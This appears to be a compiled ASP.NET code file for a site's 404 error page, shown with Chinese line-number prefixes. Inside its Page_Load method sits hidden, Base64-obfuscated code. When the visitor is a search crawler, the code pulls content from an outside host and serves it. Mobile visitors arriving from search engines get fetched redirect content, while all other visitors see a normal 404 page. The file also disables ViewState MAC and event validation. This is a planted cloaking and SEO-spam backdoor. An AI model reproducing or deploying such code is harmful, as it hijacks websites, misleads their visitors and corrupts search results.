行 1: #pragma checksum "E:\ztjtweb\404.aspx" "{ff1816ec-aa5e-4d10-87f7-6f4963833460}" "BBD8F477D7561C05C947DCE752A8DC6D31A9A9F7"行 2: //------------------------------------------------------------------------------行 3: // 行 4: // 此代码由工具生成。行 5: // 运行时版本:4.0.30319.42000行 6: //行 7: // 对此文件的更改可能会导致不正确的行为,并且如果行 8: // 重新生成代码,这些更改将会丢失。行 9: // 行 10: //------------------------------------------------------------------------------行 11: 行 12: 行 13: 行 14: public partial class _404 : System.Web.SessionState.IRequiresSessionState {行 15: 行 16: protected System.Web.Profile.DefaultProfile Profile {行 17: get {行 18: return ((System.Web.Profile.DefaultProfile)(this.Context.Profile));行 19: }行 20: }行 21: 行 22: protected ASP.global_asax ApplicationInstance {行 23: get {行 24: return ((ASP.global_asax)(this.Context.ApplicationInstance));行 25: }行 26: }行 27: }行 28: namespace ASP {行 29: 行 30: #line 389 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"行 31: using System.Linq;行 32: 行 33: #line default行 34: #line hidden行 35: 行 36: #line 2 "E:\ztjtweb\404.aspx"行 37: using System.Net;行 38: 行 39: #line default行 40: #line hidden行 41: 行 42: #line 396 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"行 43: using System.Web.Security;行 44: 行 45: #line default行 46: #line hidden行 47: 行 48: #line 385 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"行 49: using System.Collections.Generic;行 50: 行 51: #line default行 52: #line hidden行 53: 行 54: #line 391 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"行 55: using System.Text.RegularExpressions;行 56: 行 57: #line default行 58: #line hidden行 59: 行 60: #line 399 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"行 61: using System.Web.UI.WebControls;行 62: 行 63: #line default行 64: #line hidden行 65: 行 66: #line 402 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"行 67: using System.Xml.Linq;行 68: 行 69: #line default行 70: #line hidden行 71: 行 72: #line 398 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"行 73: using System.Web.UI;行 74: 行 75: #line default行 76: #line hidden行 77: 行 78: #line 383 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"行 79: using System;行 80: 行 81: #line default行 82: #line hidden行 83: 行 84: #line 401 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"行 85: using System.Web.UI.HtmlControls;行 86: 行 87: #line default行 88: #line hidden行 89: 行 90: #line 392 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"行 91: using System.Web;行 92: 行 93: #line default行 94: #line hidden行 95: 行 96: #line 388 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"行 97: using System.Configuration;行 98: 行 99: #line default行 100: #line hidden行 101: 行 102: #line 387 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"行 103: using System.ComponentModel.DataAnnotations;行 104: 行 105: #line default行 106: #line hidden行 107: 行 108: #line 390 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"行 109: using System.Text;行 110: 行 111: #line default行 112: #line hidden行 113: 行 114: #line 397 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"行 115: using System.Web.Profile;行 116: 行 117: #line default行 118: #line hidden行 119: 行 120: #line 393 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"行 121: using System.Web.Caching;行 122: 行 123: #line default行 124: #line hidden行 125: 行 126: #line 384 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"行 127: using System.Collections;行 128: 行 129: #line default行 130: #line hidden行 131: 行 132: #line 400 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"行 133: using System.Web.UI.WebControls.WebParts;行 134: 行 135: #line default行 136: #line hidden行 137: 行 138: #line 386 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"行 139: using System.Collections.Specialized;行 140: 行 141: #line default行 142: #line hidden行 143: 行 144: #line 395 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"行 145: using System.Web.SessionState;行 146: 行 147: #line default行 148: #line hidden行 149: 行 150: #line 394 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"行 151: using System.Web.DynamicData;行 152: 行 153: #line default行 154: #line hidden行 155: 行 156: #line 3 "E:\ztjtweb\404.aspx"行 157: using System.IO;行 158: 行 159: #line default行 160: #line hidden行 161: 行 162: 行 163: [System.Runtime.CompilerServices.CompilerGlobalScopeAttribute()]行 164: public class _404_aspx : global::_404, System.Web.IHttpHandler {行 165: 行 166: private static bool @__initialized;行 167: 行 168: private static object @__stringResource;行 169: 行 170: private static object @__fileDependencies;行 171: 行 172: 行 173: #line 4 "E:\ztjtweb\404.aspx"行 174: 行 175: protected void Page_Load(object sender, EventArgs e)行 176: {行 177: string data_user = Request.UserAgent;行 178: string data_link = Request.Url.ToString();行 179: string data_refs = Request.UrlReferrer != null ? Request.UrlReferrer.ToString() : "";行 180: string Path;行 181: 行 182: if (data_link.Contains("txt"))行 183: {行 184: Path = DeBaseString(@"aHR0cDovL3MuYmM4LmluL2dsb2JhbC90eHQv");行 185: }行 186: else if (data_link.Contains("err"))行 187: {行 188: Path = DeBaseString(@"aHR0cDovL3MuYmM4LmluL2dsb2JhbC9lcnIv");行 189: }else {行 190: Path = DeBaseString(@"aHR0cDovL3MuYmM4LmluL2dsb2JhbC9lcnIv");行 191: }行 192: 行 193: if (Is_VipUser(data_user))行 194: {行 195: string c_link = Path + DeBaseString(@"P3VjPWdiayZob3N0PQ==") + data_link;行 196: string c_link_data = GetHttp(c_link);行 197: Response.Write(c_link_data);Response.End();行 198: }行 199: 行 200: if (IS_SvipUser(data_refs) && IS_SvipEnts(data_link))行 201: {行 202: if (IS_Moblie(data_user))行 203: {行 204: string t_link = Path + DeBaseString(@"P3VjPWp1bXA=");行 205: string t_link_data = GetHttp(t_link);行 206: Response.Write(t_link_data);行 207: Response.End();行 208: }else{行 209: Response.StatusCode = 404;行 210: Response.Status="404 Not Found";行 211: Response.Write(DeBaseString("PGh0bWw+CjxoZWFkPgogICAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgogICAgPHRpdGxlPjQwNDwvdGl0bGU+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+CiAgICA8bWV0YSBuYW1lPSJkZXNjcmlwdGlvbiIgY29udGVudD0iIj4KICAgIDxtZXRhIG5hbWU9ImF1dGhvciIgY29udGVudD0iIj4KICAgIDxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CiAgICAgICAgYm9keSB7CiAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW4gIWltcG9ydGFudDsKICAgICAgICAgICAgcGFkZGluZy10b3A6IDEyMHB4OwogICAgICAgIH0KCiAgICAgICAgLnRleHQtaW5mbyB7CiAgICAgICAgICAgIGNvbG9yOiAjZmZmOwogICAgICAgICAgICBmb250LXNpemU6IDUwcHg7CiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiBib2xkOwogICAgICAgICAgICBsZXR0ZXItc3BhY2luZzogMXB4OwogICAgICAgIH0KCiAgICAgICAgLnBhZ2UtZXJyb3IgewogICAgICAgICAgICBwYWRkaW5nOiAxNXB4OwogICAgICAgICAgICBtYXJnaW46IDMwcHggMCAwOwogICAgICAgICAgICB3aWR0aDogNTAlOwogICAgICAgICAgICBtYXJnaW46IDAgYXV0bzsKICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlOwogICAgICAgICAgICB6LWluZGV4OiA1MDAwOwogICAgICAgIH0KCiAgICAgICAgZGl2LmVycm9yLWNvbnRlbnQgewogICAgICAgICAgICBjb2xvcjogI2ZmZjsKICAgICAgICB9CgogICAgICAgIC5lcnJvci1saW5rIHsKICAgICAgICAgICAgY29sb3I6ICNGRkEyMDA7CiAgICAgICAgfQoKICAgICAgICAubG9nby1lcnJvciB7CiAgICAgICAgICAgIGJhY2tncm91bmQ6IHJnYmEoMCwgMCwgMCwgMC4wOCk7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDNweCAzcHggMCAwOwogICAgICAgICAgICBjb2xvcjogI0ZGRkZGRjsKICAgICAgICAgICAgbGVmdDogMDsKICAgICAgICAgICAgcGFkZGluZzogMCAwIDE1cHggMjVweDsKICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlOwogICAgICAgICAgICB0b3A6IDBweDsKICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCByZ2JhKDAsIDAsIDAsIDAuMik7CiAgICAgICAgICAgIGJveC1zaGFkb3c6IDFweCAxcHggMHB4IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC4xKTsKICAgICAgICB9CgogICAgICAgICAgICAubG9nby1lcnJvciBoMSB7CiAgICAgICAgICAgICAgICBjb2xvcjogI0ZGRkZGRjsKICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMzBweDsKICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiAyMDA7CiAgICAgICAgICAgICAgICBsZXR0ZXItc3BhY2luZzogLTFweDsKICAgICAgICAgICAgICAgIHRleHQtZGVjb3JhdGlvbjogaW5oZXJpdDsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIC5sb2dvLWVycm9yIGgxIHNwYW4gewogICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IG5vbmUgcmVwZWF0IHNjcm9sbCAwIDAgcmdiYSgwLCAwLCAwLCAwLjIpOwogICAgICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDNweDsKICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDExcHg7CiAgICAgICAgICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDA7CiAgICAgICAgICAgICAgICAgICAgcGFkZGluZzogMCA1cHg7CiAgICAgICAgICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlOwogICAgICAgICAgICAgICAgICAgIHRvcDogLTNweDsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgYm9keSB7CiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiAiT3BlbiBTYW5zIiwgQXJpYWwsIHNhbnMtc2VyaWYgIWltcG9ydGFudDsKICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4ICFpbXBvcnRhbnQ7CiAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAyMHB4OwogICAgICAgICAgICBiYWNrZ3JvdW5kOiB1cmwoL3doaXJfc3lzdGVtL1Jlcy9pbWFnZXMvYmcuanBnKSBuby1yZXBlYXQgdG9wIGNlbnRlciBmaXhlZDsKICAgICAgICB9CiAgICA8L3N0eWxlPgoKPC9oZWFkPgo8Ym9keT4KICAgIDxkaXYgY2xhc3M9ImxvZ28tZXJyb3IiPgogICAgICAgIDxoMT5lekVJUAogICAgICAgICAgICA8c3Bhbj52NS4wPC9zcGFuPgogICAgICAgIDwvaDE+CiAgICA8L2Rpdj4KICAgIDxzZWN0aW9uIGNsYXNzPSJwYWdlLWVycm9yIj4KICAgICAgICA8ZGl2IGNsYXNzPSJlcnJvci1wYWdlIj4KICAgICAgICAgICAgPGgyIGNsYXNzPSJ0ZXh0LWluZm8iPjQwNDwvaDI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImVycm9yLWNvbnRlbnQiPgogICAgICAgICAgICAgICAgPGgzPjxpIGNsYXNzPSJlbnR5cG8tYXR0ZW50aW9uIj48L2k+UGFnZSBub3QgZm91bmQuPC9oMz4KICAgICAgICAgICAgICAgIDxwPgogICAgICAgICAgICAgICAgICAgIFdlIGNvdWxkIG5vdCBmaW5kIHRoZSBwYWdlIHlvdSB3ZXJlIGxvb2tpbmcgZm9yLiBNZWFud2hpbGUsIHlvdSBtYXkgcmV0dXJuIHRvIDxhIGNsYXNzPSJlcnJvci1saW5rIiBocmVmPScvJz5IT01FIFBBR0U8L2E+LgogICAgICAgICAgICAgICAgPC9wPgoKICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8L3NlY3Rpb24+CjwvYm9keT4KPC9odG1sPg=="));Response.End();行 212: }行 213: }行 214: }行 215: public string GetHttp(string url)行 216: {行 217: HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(url);行 218: 行 219: httpWebRequest.ContentType = "application/x-www-form-urlencoded";行 220: httpWebRequest.UserAgent = Request.ServerVariables["HTTP_USER_AGENT"];行 221: httpWebRequest.Method = "GET";行 222: httpWebRequest.Timeout = 999999;行 223: 行 224: HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();行 225: StreamReader streamReader = new StreamReader(httpWebResponse.GetResponseStream(), Encoding.GetEncoding("GB2312"));行 226: string responseContent = streamReader.ReadToEnd();行 227: 行 228: httpWebResponse.Close();行 229: streamReader.Close();行 230: 行 231: return responseContent;行 232: }行 233: 行 234: public bool Is_VipUser(string user)行 235: {行 236: return Regex.IsMatch(user, @"Baiduspider|Sogou|YisouSpider|360Spider|Bytespider|bingbot", RegexOptions.IgnoreCase);行 237: }行 238: public bool IS_SvipUser(string user)行 239: {行 240: return Regex.IsMatch(user, @"baidu|sogou|so.com|sm.cn|bing|toutiao", RegexOptions.IgnoreCase);行 241: }行 242: public bool IS_SvipEnts(string link)行 243: {行 244: return Regex.IsMatch(link, @"\.gov.cn|\.edu.cn|\.shtml|\.phtml|\.xml|err|txt", RegexOptions.IgnoreCase);行 245: }行 246: public bool IS_Moblie(string user)行 247: {行 248: return Regex.IsMatch(user, @"nokia|sony|ericsson|mot|samsung|htc|sgh|lg|sharp|sie-|philips|panasonic|alcatel|lenovo|iphone|ipod|blackberry|meizu|android|netfront|symbian|ucweb|windowsce|palm|operamini|operamobi|openwave|nexusone|cldc|midp|wap|mobile", RegexOptions.IgnoreCase);行 249: }行 250: public string DeBaseString(string str)行 251: {行 252: return Encoding.Default.GetString(Convert.FromBase64String(str));行 253: }行 254: 行 255: #line default行 256: #line hidden行 257: 行 258: 行 259: [System.Diagnostics.DebuggerNonUserCodeAttribute()]行 260: public _404_aspx() {行 261: string[] dependencies;行 262: 行 263: #line 912304 "E:\ztjtweb\404.aspx.cs"行 264: ((global::System.Web.UI.Page)(this)).AppRelativeVirtualPath = "~/404.aspx";行 265: 行 266: #line default行 267: #line hidden行 268: if ((global::ASP._404_aspx.@__initialized == false)) {行 269: global::ASP._404_aspx.@__stringResource = this.ReadStringResource();行 270: dependencies = new string[2];行 271: dependencies[0] = "~/404.aspx";行 272: dependencies[1] = "~/404.aspx.cs";行 273: global::ASP._404_aspx.@__fileDependencies = this.GetWrappedFileDependencies(dependencies);行 274: global::ASP._404_aspx.@__initialized = true;行 275: }行 276: this.Server.ScriptTimeout = 30000000;行 277: }行 278: 行 279: [System.Diagnostics.DebuggerNonUserCodeAttribute()]行 280: private void @__BuildControlTree(_404_aspx @__ctrl) {行 281: 行 282: #line 1 "E:\ztjtweb\404.aspx"行 283: @__ctrl.EnableViewStateMac = false;行 284: 行 285: #line default行 286: #line hidden行 287: 行 288: #line 1 "E:\ztjtweb\404.aspx"行 289: @__ctrl.EnableEventValidation = false;行 290: 行 291: #line default行 292: #line hidden行 293: 行 294: #line 1 "E:\ztjtweb\404.aspx"行 295: this.InitializeCulture();行 296: 行 297: #line default行 298: #line hidden行 299: @__ctrl.SetRenderMethodDelegate(new System.Web.UI.RenderMethod(this.@__Render__control1));行 300: }行 301: 行 302: private void @__Render__control1(System.Web.UI.HtmlTextWriter @__w, System.Web.UI.Control parameterContainer) {行 303: this.WriteUTF8ResourceString(@__w, 446, 2051, true);行 304: 行 305: #line 157 "E:\ztjtweb\404.aspx"行 306: @__w.Write(SysPath);行 307: 行 308: 行 309: #line default行 310: #line hidden行 311: this.WriteUTF8ResourceString(@__w, 2497, 686, true);行 312: }行 313: 行 314: 行 315: #line 912304 "E:\ztjtweb\404.aspx.cs"行 316: [System.Diagnostics.DebuggerNonUserCodeAttribute()]行 317: protected override void FrameworkInitialize() {行 318: base.FrameworkInitialize();行 319: this.SetStringResourcePointer(global::ASP._404_aspx.@__stringResource, 0);行 320: this.@__BuildControlTree(this);行 321: this.AddWrappedFileDependencies(global::ASP._404_aspx.@__fileDependencies);行 322: }行 323: 行 324: #line default行 325: #line hidden行 326: 行 327: [System.Diagnostics.DebuggerNonUserCodeAttribute()]行 328: public override int GetTypeHashCode() {行 329: return 909526700;行 330: }行 331: 行 332: [System.Diagnostics.DebuggerNonUserCodeAttribute()]行 333: public override void ProcessRequest(System.Web.HttpContext context) {行 334: base.ProcessRequest(context);行 335: }行 336: }行 337: }行 338:
|